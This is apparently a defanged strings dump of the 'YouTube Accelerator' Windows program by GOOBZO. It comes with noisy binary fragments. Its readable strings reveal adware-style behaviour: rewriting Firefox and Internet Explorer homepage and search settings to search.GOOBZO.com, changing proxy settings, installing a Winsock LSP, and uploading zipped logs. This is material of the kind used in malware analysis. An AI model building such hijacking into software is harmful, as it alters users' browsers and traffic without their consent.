OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

